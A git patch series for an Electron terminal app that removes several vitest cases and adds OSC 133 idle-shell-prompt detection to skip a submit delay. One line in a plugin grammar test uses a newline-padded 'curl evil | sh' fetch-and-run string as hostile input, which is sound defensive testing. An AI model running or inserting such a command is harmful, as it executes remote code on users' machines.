expect(_getRendererOwnedAgentStatusPaneCountForTest()).toBe(1) - }) - it('drops the claim when the pane re-registers under another environment', () => { registerRendererOwnedAgentStatusPane(PANE, ENV) markRendererOwnedAgentStatusWrite(PANE) diff --git a/src/renderer/src/components/terminal-pane/terminal-link-provider-candidate-failures.test.ts b/src/renderer/src/components/terminal-pane/terminal-link-provider-candidate-failures.test.ts index e66fd09828e..29c2eb5a82c 100644 --- a/src/renderer/src/components/terminal-pane/terminal-link-provider-candidate-failures.test.ts +++ b/src/renderer/src/components/terminal-pane/terminal-link-provider-candidate-failures.test.ts @@ -97,17 +97,6 @@ describe('terminal link candidates fail independently', () => { expect([...cache.keys()].some((key) => key.includes(firstPath + secondPath))).toBe(false) }) - it('has the same valid SSH links with a blank-row separator', async () => { - const rows = await replayRows(capture.replace(`${firstPath}\r\n`, `${firstPath}\r\n\r\n`)) - sshProbe() - const { provider } = createProviderSetup(rows, new Map(), { - startupCwd: '/home/alice/dev', - worktreePath: '/home/alice/dev' - }) - expect((await hover(provider, 1)).map((link) => link.text)).toEqual([firstPath]) - expect((await hover(provider, 3)).map((link) => link.text)).toEqual([secondPath]) - }) - it('preserves a real hard-wrapped path beside a rejected joined candidate', async () => { const rows = await replayRows(`/home/alice/dev/notes/\r\nREADME.md\r\n${secondPath}\r\n`) sshProbe() @@ -169,53 +158,6 @@ describe('terminal link candidates fail independently', () => { expect([...cache.values()].map((entry) => entry.exists)).toEqual([true]) }) - it('keeps host-granted files bound to their printing terminal when a neighboring candidate fails', async () => { - const rows = await replayRows() - runtimeEnvironmentCallMock.mockImplementation(async ({ method, params }) => { - if (method !== 'files.resolveTerminalPath') { - throw new Error('Unexpected remote probe') - } - const path = params?.pathText - if (path !== firstPath && path !== secondPath) { - throw new Error('ENOTDIR: joined path') - } - return { - id: 'grant', - ok: true, - result: { - worktree: 'wt-1', - relativePath: null, - absolutePath: path, - exists: true, - isDirectory: false, - openTarget: { - kind: 'absolute-file', - provider: 'local', - absolutePath: path, - grantId: 'terminal-grant' - } - }, - _meta: { runtimeId: 'remote' } - } - }) - const { provider } = createProviderSetup(rows, new Map(), { - startupCwd: '/srv/repo', - worktreePath: '/srv/repo', - runtimeEnvironmentId: 'env-notes', - getRuntimeTerminalHandleForPane: () => 'term-notes' - }) - expect((await hover(provider, 1)).map((link) => link.text)).toEqual([firstPath]) - expect(runtimeEnvironmentCallMock).toHaveBeenCalledWith( - expect.objectContaining({ - method: 'files.resolveTerminalPath', - params: expect.objectContaining({ pathText: firstPath, terminal: 'term-notes' }) - }) - ) - expect(statMock).not.toHaveBeenCalled() - expect(fsPathExistsMock).not.toHaveBeenCalled() - expect(window.api.shell.pathExists).not.toHaveBeenCalled() - }) - it('does not cache a transport failure as missing and can retry the next hover', async () => { const rows = await replayRows() vi.mocked(getConnectionId).mockReturnValue('ssh-notes') diff --git a/src/renderer/src/hooks/macos-tcc-prompt-notice-subscription.test.ts b/src/renderer/src/hooks/macos-tcc-prompt-notice-subscription.test.ts index 34369c1769b..942234196a5 100644 --- a/src/renderer/src/hooks/macos-tcc-prompt-notice-subscription.test.ts +++ b/src/renderer/src/hooks/macos-tcc-prompt-notice-subscription.test.ts @@ -1,8 +1,5 @@ import { afterEach, describe, expect, it, vi } from 'vitest' -import { - dismissMacosTccPromptNotice, - subscribeToMacosTccPromptNotice -} from './macos-tcc-prompt-notice-subscription' +import { subscribeToMacosTccPromptNotice } from './macos-tcc-prompt-notice-subscription' afterEach(() => { vi.restoreAllMocks() @@ -14,18 +11,6 @@ function acknowledgeDisplayedNotice(onNotice: ReturnType, callInde } describe('subscribeToMacosTccPromptNotice', () => { - it('contains synchronous and rejected dismissal failures', async () => { - const synchronousFailure = vi.fn(() => { - throw new Error('renderer closing') - }) - const rejectedFailure = vi.fn().mockRejectedValue(new Error('ipc unavailable')) - - await expect( - dismissMacosTccPromptNotice({ dismiss: synchronousFailure }) - ).resolves.toBeUndefined() - await expect(dismissMacosTccPromptNotice({ dismiss: rejectedFailure })).resolves.toBeUndefined() - }) - it('delivers a threshold retained before the renderer subscribed', async () => { const onNotice = vi.fn() const acknowledgePending = vi.fn().mockResolvedValue(undefined) @@ -52,37 +37,6 @@ describe('subscribeToMacosTccPromptNotice', () => { unsubscribe() }) - it('consumes concurrent mount and live signals only once', async () => { - const listenerState: { listener?: (payload: { promptCount: number }) => void } = {} - const acknowledgePending = vi.fn().mockResolvedValue(undefined) - const consumePending = vi - .fn() - .mockResolvedValueOnce({ claimId: 8, promptCount: 3 }) - .mockResolvedValue(null) - const onNotice = vi.fn() - const unsubscribe = subscribeToMacosTccPromptNotice( - { - acknowledgePending, - consumePending, - onThreshold: (listener) => { - listenerState.listener = listener - return vi.fn() - } - }, - onNotice - ) - - listenerState.listener?.({ promptCount: 3 }) - await Promise.resolve() - - expect(consumePending).toHaveBeenCalledTimes(2) - expect(onNotice).toHaveBeenCalledOnce() - expect(acknowledgePending).not.toHaveBeenCalled() - acknowledgeDisplayedNotice(onNotice) - expect(acknowledgePending).toHaveBeenCalledOnce() - unsubscribe() - }) - it('finishes an in-flight claim through StrictMode cleanup', async () => { const pendingState: { resolve?: (payload: { claimId: number; promptCount: number } | null) => void @@ -265,23 +219,4 @@ describe('subscribeToMacosTccPromptNotice', () => { expect(onNotice).toHaveBeenCalledOnce() expect(releasePending).toHaveBeenCalledWith(13) }) - - it('keeps live delivery with an older preload that has no consume API', () => { - const listenerState: { listener?: (payload: { promptCount: number }) => void } = {} - const onNotice = vi.fn() - const unsubscribe = subscribeToMacosTccPromptNotice( - { - onThreshold: (listener) => { - listenerState.listener = listener - return vi.fn() - } - }, - onNotice - ) - - listenerState.listener?.({ promptCount: 3 }) - - expect(onNotice).toHaveBeenCalledWith({ promptCount: 3 }, expect.any(Function)) - unsubscribe() - }) }) diff --git a/src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts b/src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts deleted file mode 100644 index 680d243902e..00000000000 --- a/src/renderer/src/lib/gitlab-work-item-source-lookup.test.ts +++ /dev/null @@ -1,191 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import { callRuntimeRpc } from '@/runtime/runtime-rpc-client' -import type * as RuntimeRpcClient from '@/runtime/runtime-rpc-client' -import { - listGitLabWorkItemsForSource, - lookupGitLabWorkItemByPathForSource -} from './gitlab-work-item-source-lookup' -import type { GitLabPagedResult, GitLabWorkItem } from '../../../shared/gitlab-types' -import type { TaskSourceContext } from '../../../shared/task-source-context' - -vi.mock('@/runtime/runtime-rpc-client', async () => { - const actual = await vi.importActual('@/runtime/runtime-rpc-client') - return { - ...actual, - callRuntimeRpc: vi.fn() - } -}) - -function gitlabItem(overrides: Partial = {}): GitLabWorkItem { - return { - id: 'gitlab-mr-7', - type: 'mr', - number: 7, - title: 'Runtime MR', - state: 'opened', - url: 'https://gitlab.com/acme/app/-/merge_requests/7', - labels: [], - updatedAt: '2026-01-01T00:00:00.000Z', - author: null, - repoId: 'runtime-repo', - ...overrides - } -} - -const runtimeSourceContext: TaskSourceContext = { - kind: 'task-source', - provider: 'gitlab', - projectId: 'project-1', - hostId: 'runtime:env-1', - repoId: 'runtime-repo' -} - -describe('GitLab source lookup routing', () => { - beforeEach(() => { - vi.mocked(callRuntimeRpc).mockReset() - vi.stubGlobal('window', { - api: { - gl: { - workItemByPath: vi.fn(), - listWorkItems: vi.fn() - } - } - }) - }) - - it('routes runtime-owned GitLab URL lookup through runtime RPC', async () => { - vi.mocked(callRuntimeRpc).mockResolvedValue(gitlabItem({ repoId: 'runtime-returned' })) - - await expect( - lookupGitLabWorkItemByPathForSource({ - repoPath: '/workspace/app', - repoId: 'renderer-repo', - sourceContext: runtimeSourceContext, - host: 'gitlab.com', - path: 'acme/app', - iid: 7, - type: 'mr' - }) - ).resolves.toMatchObject({ repoId: 'renderer-repo', number: 7 }) - - expect(callRuntimeRpc).toHaveBeenCalledWith( - { kind: 'environment', environmentId: 'env-1' }, - 'gitlab.workItemByPath', - expect.objectContaining({ - repo: 'id:runtime-repo', - host: 'gitlab.com', - path: 'acme/app', - iid: 7, - type: 'mr' - }), - { timeoutMs: 30_000 } - ) - expect(window.api.gl.workItemByPath).not.toHaveBeenCalled() - }) - - it('routes runtime-owned GitLab work item lists through runtime RPC', async () => { - const result: GitLabPagedResult = { - items: [gitlabItem({ repoId: 'runtime-returned' })], - page: 3, - perPage: 1, - totalCount: 0, - totalPages: 4 - } - vi.mocked(callRuntimeRpc).mockResolvedValue(result) - - await expect( - listGitLabWorkItemsForSource({ - repoPath: '/workspace/app', - repoId: 'renderer-repo', - sourceContext: runtimeSourceContext, - state: 'opened', - page: 3, - perPage: 1, - query: 'fix login' - }) - ).resolves.toEqual({ ...result, items: [gitlabItem({ repoId: 'renderer-repo' })] }) - - // Forward the query through runtime RPC or GitLab search would return unfiltered results (#6263). - expect(callRuntimeRpc).toHaveBeenCalledWith( - { kind: 'environment', environmentId: 'env-1' }, - 'gitlab.listWorkItems', - expect.objectContaining({ - repo: 'id:runtime-repo', - state: 'opened', - page: 3, - perPage: 1, - query: 'fix login' - }), - { timeoutMs: 30_000 } - ) - expect(window.api.gl.listWorkItems).not.toHaveBeenCalled() - }) - - it('forwards the search query to local GitLab work item lists over Electron IPC', async () => { - const localSourceContext: TaskSourceContext = { - ...runtimeSourceContext, - hostId: 'local', - repoId: 'local-repo' - } - const result = { - items: [gitlabItem({ repoId: 'local-returned' })], - page: 3, - perPage: 1, - totalCount: 0, - totalPages: 4 - } - vi.mocked(window.api.gl.listWorkItems).mockResolvedValue(result) - - await expect( - listGitLabWorkItemsForSource({ - repoPath: '/workspace/app', - repoId: 'local-repo', - sourceContext: localSourceContext, - state: 'opened', - page: 3, - perPage: 1, - query: 'fix login' - }) - ).resolves.toEqual({ ...result, items: [gitlabItem({ repoId: 'local-repo' })] }) - - expect(window.api.gl.listWorkItems).toHaveBeenCalledWith({ - repoPath: '/workspace/app', - repoId: 'local-repo', - sourceContext: localSourceContext, - state: 'opened', - page: 3, - perPage: 1, - query: 'fix login' - }) - expect(callRuntimeRpc).not.toHaveBeenCalled() - }) - - it('keeps local GitLab lookups on Electron IPC with source context', async () => { - vi.mocked(window.api.gl.workItemByPath).mockResolvedValue( - gitlabItem({ repoId: 'local-returned' }) - ) - - await expect( - lookupGitLabWorkItemByPathForSource({ - repoPath: '/workspace/app', - repoId: 'local-repo', - sourceContext: { ...runtimeSourceContext, hostId: 'local', repoId: 'local-repo' }, - host: 'gitlab.com', - path: 'acme/app', - iid: 7, - type: 'mr' - }) - ).resolves.toMatchObject({ repoId: 'local-repo', number: 7 }) - - expect(window.api.gl.workItemByPath).toHaveBeenCalledWith({ - repoPath: '/workspace/app', - repoId: 'local-repo', - sourceContext: { ...runtimeSourceContext, hostId: 'local', repoId: 'local-repo' }, - host: 'gitlab.com', - path: 'acme/app', - iid: 7, - type: 'mr' - }) - expect(callRuntimeRpc).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/store/slices/store-create-tab-id-hint.test.ts b/src/renderer/src/store/slices/store-create-tab-id-hint.test.ts index df3aa9a0282..2f39254d23b 100644 --- a/src/renderer/src/store/slices/store-create-tab-id-hint.test.ts +++ b/src/renderer/src/store/slices/store-create-tab-id-hint.test.ts @@ -27,24 +27,6 @@ createStoreCascadesMockApi() // Why: CLI-spawned terminals stamp ORCA_PANE_KEY at spawn; renderer must adopt the tab under that id so hook events route correctly. describe('createTab tabId hint', () => { - it('uses the supplied id when no collision exists', () => { - const store = createTestStore() - const wt = 'repo1::/path/wt-hint' - seedStore(store, { - worktreesByRepo: { - repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt-hint' })] - }, - groupsByWorktree: {}, - activeGroupIdByWorktree: {}, - unifiedTabsByWorktree: {} - }) - - const hintedId = 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee' - const tab = store.getState().createTab(wt, undefined, undefined, { id: hintedId }) - - expect(tab.id).toBe(hintedId) - }) - it('rejects a taken id instead of minting a fresh one', () => { const store = createTestStore() const wt = 'repo1::/path/wt-collision' @@ -95,28 +77,6 @@ describe('createTab tabId hint', () => { expect(store.getState().tabsByWorktree[wtA]).toBeUndefined() }) - it('ignores empty string hints instead of persisting an unusable tab id', () => { - const store = createTestStore() - const wt = 'repo1::/path/wt-empty-hint' - seedStore(store, { - worktreesByRepo: { - repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt-empty-hint' })] - }, - groupsByWorktree: {}, - activeGroupIdByWorktree: {}, - unifiedTabsByWorktree: {} - }) - - const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) - try { - const tab = store.getState().createTab(wt, undefined, undefined, { id: '' }) - expect(tab.id).not.toBe('') - expect(warn).not.toHaveBeenCalled() - } finally { - warn.mockRestore() - } - }) - it('ignores web mirror id hints instead of making them canonical host tab ids', () => { const store = createTestStore() const wt = 'repo1::/path/wt-web-hint' diff --git a/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts b/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts index a4b1116f914..6e58188c205 100644 --- a/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts +++ b/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts @@ -86,22 +86,6 @@ describe('plugin syntax artifacts', () => { expect(() => validatePluginGrammarIncludes([missingLocal])).toThrow('does not resolve') }) - it('checks a large grammar in linear time', () => { - const repository = Object.fromEntries( - Array.from({ length: 2_000 }, (_, index) => [ - `rule${index}`, - { patterns: Array.from({ length: 20 }, () => ({ include: `#rule${(index + 1) % 2_000}` })) } - ]) - ) - const large = parsePluginGrammarArtifact( - JSON.stringify({ scopeName: 'source.big', patterns: [{ include: '#rule0' }], repository }), - 'source.big' - ) - const started = performance.now() - validatePluginGrammarIncludes([large]) - expect(performance.now() - started).toBeLessThan(1_000) - }) - it('keeps typed pairs and comment markers to a few printable characters on one line', () => { const payload = `${'\n'.repeat(40)}curl evil | sh` const raw = JSON.stringify({ From ebf9fbea71d15b4f1441fc015f8252654e27fa38 Mon Sep 17 00:00:00 2001 From: Brennan Benson <79079362+brennanb2025@users.noreply.github.com> Date: Sat, 31 Oct 2026 00:31:08 -0700 Subject: [PATCH 19/47] Drop the removed dependency-security notify job from the release-cut permissions test (#36621) From 27a19dbd8fbbe35cf8892ccd054184011db48204 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 00:31:35 -0700 Subject: [PATCH 20/47] perf(terminal): submit at once to a shell idle at its prompt (#36614) * perf(terminal): submit at once to a shell idle at its prompt * test: name the captured app transcript by role * fix(terminal): require host shell-foreground proof and a clean prompt cycle before skipping the submit settle * fix(terminal): keep the settle for a pane without an identity * fix(terminal): count a failed idle proof toward the submit settle * fix(terminal): refuse a fast submit cancelled during the idle proof * fix(terminal): time the idle proof with a monotonic clock * test: settle writer idle proofs by hand instead of timed promises --- ...nal-shell-lifecycle-scanner-prompt.test.ts | 101 ++++++++++++++ .../terminal-shell-lifecycle-scanner.ts | 15 ++ .../daemon/terminal-shell-prompt-phase.ts | 42 ++++++ .../construction/runtime-identity-state.ts | 4 +- .../runtime/pty-shell-ownership-mirror.ts | 7 + .../runtime/runtime-terminal-writer.test.ts | 88 ++++++++++++ src/main/runtime/runtime-terminal-writer.ts | 26 +++- .../terminal-send-idle-shell-settle.test.ts | 130 ++++++++++++++++++ .../terminal/input/idle-shell-prompt-claim.ts | 32 +++++ .../terminal-orchestration-authority.ts | 21 +++ 10 files changed, 458 insertions(+), 8 deletions(-) create mode 100644 src/main/daemon/terminal-shell-lifecycle-scanner-prompt.test.ts create mode 100644 src/main/daemon/terminal-shell-prompt-phase.ts create mode 100644 src/main/runtime/terminal-send-idle-shell-settle.test.ts create mode 100644 src/main/runtime/terminal/input/idle-shell-prompt-claim.ts diff --git a/src/main/daemon/terminal-shell-lifecycle-scanner-prompt.test.ts b/src/main/daemon/terminal-shell-lifecycle-scanner-prompt.test.ts new file mode 100644 index 00000000000..1d38cc6bfc0 --- /dev/null +++ b/src/main/daemon/terminal-shell-lifecycle-scanner-prompt.test.ts @@ -0,0 +1,101 @@ +import { readFileSync } from 'node:fs' +import { join } from 'node:path' +import { describe, expect, it } from 'vitest' +import { TerminalShellLifecycleScanner } from './terminal-shell-lifecycle-scanner' +import { PtyShellOwnershipMirror } from '../runtime/pty-shell-ownership-mirror' + +const A = '\x1b]133;A\x07' +const B = '\x1b]133;B\x07' +const C = '\x1b]133;C\x07' +const D0 = '\x1b]133;D;0\x07' +const D1 = '\x1b]133;D;1\x07' +// Captured agent CLI PTY bytes: each bubble paints its own `A … B C D;0` zone while the app runs (#10923). +const APP_ZONE_TRANSCRIPT = readFileSync( + join(__dirname, '../runtime/__fixtures__/omp-user-bubble-osc133-zone.txt'), + 'utf8' +) +// Orca's bash wrapper bytes: prompt, typed command echo, C, output, D;exit, next prompt. +const shellRuns = (command: string, output: string, end = D0): string => + `${A}$ ${B}${command}\r\n${C}${output}\r\n${end}` +const PROMPT = `${A}$ ${B}` +// An agent TUI painting a bubble with output between its C and D, as no adjacency rule can catch. +const APP_BUBBLE = `${A}> ${B}hi${C}thinking…\r\n${D0}${A}> ` + +function idleAfter(...chunks: string[]): boolean { + const scanner = new TerminalShellLifecycleScanner() + for (const chunk of chunks) { + scanner.scan(chunk) + } + return scanner.isIdleAtPrompt +} + +describe('idle at a shell prompt', () => { + it('is idle once a prompt follows a cleanly finished command', () => { + expect(idleAfter(shellRuns('ls', 'file') + PROMPT)).toBe(true) + }) + + it('is idle when the markers split across chunks', () => { + const bytes = shellRuns('ls', 'file') + PROMPT + expect(idleAfter(...bytes.split(''))).toBe(true) + }) + + it('does not trust a first prompt before the shell has shown it marks command starts', () => { + expect(idleAfter(PROMPT)).toBe(false) + }) + + it('is not idle while a command runs, before its prompt returns, or after a failed command', () => { + expect(idleAfter(`${PROMPT}sleep 9\r\n${C}`)).toBe(false) + expect(idleAfter(shellRuns('ls', 'file'))).toBe(false) + expect(idleAfter(shellRuns('false', '', D1) + PROMPT)).toBe(false) + }) + + it('is not idle without shell integration', () => { + expect(idleAfter('user@host:~$ ls\r\nfile\r\nuser@host:~$ ')).toBe(false) + }) + + it('is not idle on the alternate screen or after a full reset', () => { + const idle = shellRuns('ls', 'file') + PROMPT + expect(idleAfter(idle, '\x1b[?1049h')).toBe(false) + expect(idleAfter(idle, '\x1bc')).toBe(false) + }) + + // Review case 1: a mirror seeded or created mid-session must not read an agent's own A as a prompt. + it("does not read a running agent's prompt marker as idle after a seed or a late start", () => { + const scanner = new TerminalShellLifecycleScanner() + scanner.scan(shellRuns('ls', 'file') + PROMPT) + scanner.seedOwner(undefined) + expect(scanner.isIdleAtPrompt).toBe(false) + scanner.scan(`${A}> `) + expect(scanner.isIdleAtPrompt).toBe(false) + expect(idleAfter(`agent output\r\n${A}> `)).toBe(false) + }) + + // Review case 2: a prompt-only integration never marks the agent the user typed. + it('stays not idle when the integration paints prompts but never command starts', () => { + expect(idleAfter(PROMPT, 'claude\r\n', 'agent ui', `${A}> `)).toBe(false) + expect(idleAfter(`${PROMPT}ls\r\nfile\r\n${PROMPT}`)).toBe(false) + }) + + // Review case 3: an app's zones inside the shell's command never close that command. + it.each([ + ['captured adjacent B C D;0 zones', APP_ZONE_TRANSCRIPT], + ['output between the app C and D', APP_BUBBLE], + ['a nonzero app D', `${A}> ${B}${C}err\r\n${D1}${A}> `], + ['a lone app C and D', `${C}out\r\n${D0}${A}> `] + ])("ignores an app's %s while the shell's command runs", (_name, app) => { + expect(idleAfter(`${PROMPT}agent\r\n${C}`, app)).toBe(false) + expect(idleAfter(`${PROMPT}agent\r\n${C}`, app, app)).toBe(false) + }) + + // Review case 4: one prompt admits one fast submit; the next needs a fresh prompt. + it('admits one claim per prompt cycle', () => { + const mirror = new PtyShellOwnershipMirror(async () => false) + mirror.scan(shellRuns('ls', 'file') + PROMPT) + expect(mirror.claimIdlePrompt()).toBe(true) + expect(mirror.claimIdlePrompt()).toBe(false) + mirror.scan(`claude\r\n${PROMPT}`) + expect(mirror.claimIdlePrompt()).toBe(false) + mirror.scan(shellRuns('pwd', '/tmp') + PROMPT) + expect(mirror.claimIdlePrompt()).toBe(true) + }) +}) diff --git a/src/main/daemon/terminal-shell-lifecycle-scanner.ts b/src/main/daemon/terminal-shell-lifecycle-scanner.ts index 2c69594c79a..42580e73032 100644 --- a/src/main/daemon/terminal-shell-lifecycle-scanner.ts +++ b/src/main/daemon/terminal-shell-lifecycle-scanner.ts @@ -2,6 +2,7 @@ import { buildProcessBoundaryGround } from '../../shared/terminal-mode-reset-pro import { closesAppOsc133Zone } from '../../shared/terminal-osc133-command-finished' import type { TerminalOwner } from '../../shared/terminal-owner' import { TerminalArmedInputModes } from './terminal-armed-input-modes' +import { TerminalShellPromptPhase } from './terminal-shell-prompt-phase' // Retain split DECSET/OSC payloads across PTY or SSH chunks without unbounded memory. const SCAN_TAIL_LIMIT = 4096 @@ -46,6 +47,7 @@ export class TerminalShellLifecycleScanner { private altActive = false private commandEnteredAlternateScreen = false private adjacentMarkers = '' + private readonly promptPhase = new TerminalShellPromptPhase() private readonly inputModes = new TerminalArmedInputModes() get owner(): TerminalOwner | undefined { @@ -60,6 +62,16 @@ export class TerminalShellLifecycleScanner { return this.altActive } + /** Markers suggest an idle shell prompt; a hint only, since any program can print them. */ + get isIdleAtPrompt(): boolean { + return this.promptPhase.atPrompt && !this.altActive + } + + /** Input was just submitted: no prompt is idle until the next clean cycle. */ + forgetIdlePrompt(): void { + this.promptPhase.reset() + } + trySetOwner(generation: number): boolean { if (generation !== this.generationState) { return false @@ -79,6 +91,7 @@ export class TerminalShellLifecycleScanner { seedOwner(owner: TerminalOwner | undefined, opts: { alternateScreen?: boolean } = {}): void { this.generationState += 1 this.ownerState = owner + this.promptPhase.reset() if (opts.alternateScreen !== undefined) { // Restored bytes bypass scan(), so seed alternate-screen state to retain death detection. this.altActive = opts.alternateScreen @@ -111,12 +124,14 @@ export class TerminalShellLifecycleScanner { if (match[0] === '\x1bc') { this.revoke() this.inputModes.reset() + this.promptPhase.reset() this.altActive = false this.commandEnteredAlternateScreen = false continue } if (oscPayload !== undefined) { const marker = oscPayload[0] + this.promptPhase.observe(oscPayload, markersBefore) if (marker === 'C') { this.revoke() this.inputModes.markCommandStart() diff --git a/src/main/daemon/terminal-shell-prompt-phase.ts b/src/main/daemon/terminal-shell-prompt-phase.ts new file mode 100644 index 00000000000..f94e9eaacb9 --- /dev/null +++ b/src/main/daemon/terminal-shell-prompt-phase.ts @@ -0,0 +1,42 @@ +import { closesAppOsc133Zone } from '../../shared/terminal-osc133-command-finished' + +/** OSC 133 hint that a shell sits at its prompt. Apps print these markers too (#10923), so any + * doubt is 'unknown' and only a clean C → D;0 → A cycle at the shell's own depth reaches 'prompt'. */ +export class TerminalShellPromptPhase { + private phase: 'unknown' | 'command' | 'ended' | 'prompt' = 'unknown' + // Zones an app or nested shell opened inside the shell's command; their D closes them, not it. + private nestedZones = 0 + + get atPrompt(): boolean { + return this.phase === 'prompt' + } + + reset(): void { + this.phase = 'unknown' + this.nestedZones = 0 + } + + observe(payload: string, adjacentMarkersBefore: string): void { + const marker = payload[0] + if (this.phase === 'command') { + if (marker === 'A' || (marker === 'C' && this.nestedZones === 0)) { + this.nestedZones += 1 + } else if (marker === 'D' && this.nestedZones > 0) { + this.nestedZones -= 1 + } else if (marker === 'D') { + // A failed or unlabeled exit, or an app-closed zone, is doubt rather than a shell return. + const clean = payload === 'D;0' && !closesAppOsc133Zone(adjacentMarkersBefore, payload) + this.phase = clean ? 'ended' : 'unknown' + } + return + } + if (marker === 'C') { + this.phase = 'command' + this.nestedZones = 0 + } else if (marker === 'A') { + this.phase = this.phase === 'ended' || this.phase === 'prompt' ? 'prompt' : 'unknown' + } else if (marker === 'D') { + this.phase = 'unknown' + } + } +} diff --git a/src/main/runtime/construction/runtime-identity-state.ts b/src/main/runtime/construction/runtime-identity-state.ts index b292a7d633c..41a494b1696 100644 --- a/src/main/runtime/construction/runtime-identity-state.ts +++ b/src/main/runtime/construction/runtime-identity-state.ts @@ -68,6 +68,7 @@ import type { HostScopedWorktreeKey } from '../../../shared/worktree/host-qualif import { RuntimeConstructionServices } from './runtime-construction-services' export abstract class OrcaRuntimeWithRuntimeId extends RuntimeConstructionServices { + protected abstract claimIdleShellPromptForPty(ptyId: string): Promise protected readonly runtimeId = randomUUID() protected readonly startedAt = Date.now() @@ -332,7 +333,8 @@ export abstract class OrcaRuntimeWithRuntimeId extends RuntimeConstructionServic (ptyId) => this.getPtyAgent(ptyId), (ptyId, data, inputKind) => this.ptyController?.writeWithSettlement?.(ptyId, data, inputKind) ?? - writeRefused('provider_cannot_settle') + writeRefused('provider_cannot_settle'), + (ptyId) => this.claimIdleShellPromptForPty(ptyId) ) // Every tui-idle site must rank the same pane evidence identically. diff --git a/src/main/runtime/pty-shell-ownership-mirror.ts b/src/main/runtime/pty-shell-ownership-mirror.ts index 6843fbee120..6a78e5dd8a3 100644 --- a/src/main/runtime/pty-shell-ownership-mirror.ts +++ b/src/main/runtime/pty-shell-ownership-mirror.ts @@ -43,6 +43,13 @@ export class PtyShellOwnershipMirror { return this.scanner.owner } + /** Consume the marker hint: true at most once per clean prompt cycle. */ + claimIdlePrompt(): boolean { + const idle = this.scanner.isIdleAtPrompt + this.scanner.forgetIdlePrompt() + return idle + } + seedOwner(owner: TerminalOwner | undefined, opts: { alternateScreen?: boolean } = {}): void { this.scanner.seedOwner(owner, opts) } diff --git a/src/main/runtime/runtime-terminal-writer.test.ts b/src/main/runtime/runtime-terminal-writer.test.ts index c886df204c2..29bbe50aafa 100644 --- a/src/main/runtime/runtime-terminal-writer.test.ts +++ b/src/main/runtime/runtime-terminal-writer.test.ts @@ -184,3 +184,91 @@ it.each([ ) } }) + +describe('submit settle before Enter', () => { + /** An idle proof the test settles by hand, after advancing the fake clock. */ + function heldProof(): { claim: () => Promise; settle: (idle: boolean) => void } { + let settle: (idle: boolean) => void = () => { + throw new Error('proof not started') + } + const proof = new Promise((resolve) => { + settle = resolve + }) + return { claim: () => proof, settle: (idle) => settle(idle) } + } + + async function submitTimes(text: string, idleShell: boolean, proofMs = 0): Promise { + vi.useFakeTimers() + const startedAt = Date.now() + const enters: number[] = [] + const proof = heldProof() + const writer = new RuntimeTerminalWriter( + (_id, data) => { + if (data === '\r') { + enters.push(Date.now() - startedAt) + } + return true + }, + () => 'linux', + () => null, + undefined, + proof.claim + ) + const pending = writer.writeAction('pty', { text, enter: true }, `${text}\r`, { + inputKind: 'driving' + }) + await vi.advanceTimersByTimeAsync(proofMs) + proof.settle(idleShell) + await vi.advanceTimersByTimeAsync(5000) + await pending + return enters + } + + it('skips the settle for a single line sent to an idle shell prompt', async () => { + expect(await submitTimes('ls -la', true)).toEqual([0]) + }) + + it('keeps the settle when the pane is not provably an idle shell', async () => { + const [at] = await submitTimes('ls -la', false) + expect(at).toBeGreaterThanOrEqual(500) + }) + + it('keeps the settle for multi-line text even at an idle prompt', async () => { + const [at] = await submitTimes('echo one\necho two', true) + expect(at).toBeGreaterThanOrEqual(500) + }) + + it('counts a failed idle proof toward the settle instead of adding to it', async () => { + const [unproven] = await submitTimes('ls -la', false) + const [slowProof] = await submitTimes('ls -la', false, 250) + expect(slowProof).toBe(unproven) + }) + + it('does not submit when the send is cancelled during a successful idle proof', async () => { + vi.useFakeTimers() + const writes: string[] = [] + const controller = new AbortController() + const proof = heldProof() + const writer = new RuntimeTerminalWriter( + (_id, data) => { + writes.push(data) + return true + }, + () => 'linux', + () => null, + undefined, + proof.claim + ) + const pending = writer.writeAction('pty', { text: 'ls', enter: true }, 'ls\r', { + inputKind: 'driving', + signal: controller.signal + }) + const rejected = expect(pending).rejects.toThrow('request_aborted') + await vi.advanceTimersByTimeAsync(100) + controller.abort() + proof.settle(true) + await vi.advanceTimersByTimeAsync(1000) + await rejected + expect(writes).toEqual(['ls']) + }) +}) diff --git a/src/main/runtime/runtime-terminal-writer.ts b/src/main/runtime/runtime-terminal-writer.ts index 0c5715d1ec9..8b93e235db3 100644 --- a/src/main/runtime/runtime-terminal-writer.ts +++ b/src/main/runtime/runtime-terminal-writer.ts @@ -33,7 +33,8 @@ export class RuntimeTerminalWriter { ptyId: string, data: string, inputKind: TerminalInputKind - ) => WriteSettlement | Promise + ) => WriteSettlement | Promise, + private readonly claimIdleShellPrompt: (ptyId: string) => Promise = async () => false ) {} async writeAction( @@ -82,16 +83,23 @@ export class RuntimeTerminalWriter { } if (hasSuffix) { const suffix = (action.enter ? '\r' : '') + (action.interrupt ? '\x03' : '') - if (text) { + const claimStartedAt = performance.now() + // A shell at its prompt reads one line as typed; agent TUIs need the paste to settle. + if (text && !(isSingleLine(text) && (await this.claimIdleShellPrompt(ptyId)))) { + const delayMs = resolveAgentPromptSubmitDelayForAgent( + this.getWriteHostPlatform(ptyId), + text, + this.getAgent(ptyId) + ) // Enter must wait for host ingestion; a flat 500ms cannot cover 16MB. + // A failed idle proof already spent part of that wait, so a send is never slower than before. await waitForTerminalWriteDelay( - resolveAgentPromptSubmitDelayForAgent( - this.getWriteHostPlatform(ptyId), - text, - this.getAgent(ptyId) - ), + Math.max(0, delayMs - (performance.now() - claimStartedAt)), options.signal ) + } else if (options.signal?.aborted) { + // Match the settle path: a send cancelled during the idle proof must not submit. + throw new Error('request_aborted') } try { await options.beforeWrite?.(ptyId) @@ -167,6 +175,10 @@ export class RuntimeTerminalWriter { } } +function isSingleLine(text: string): boolean { + return !text.includes('\n') && !text.includes('\r') +} + function yieldBetweenTerminalInputChunks(): Promise { 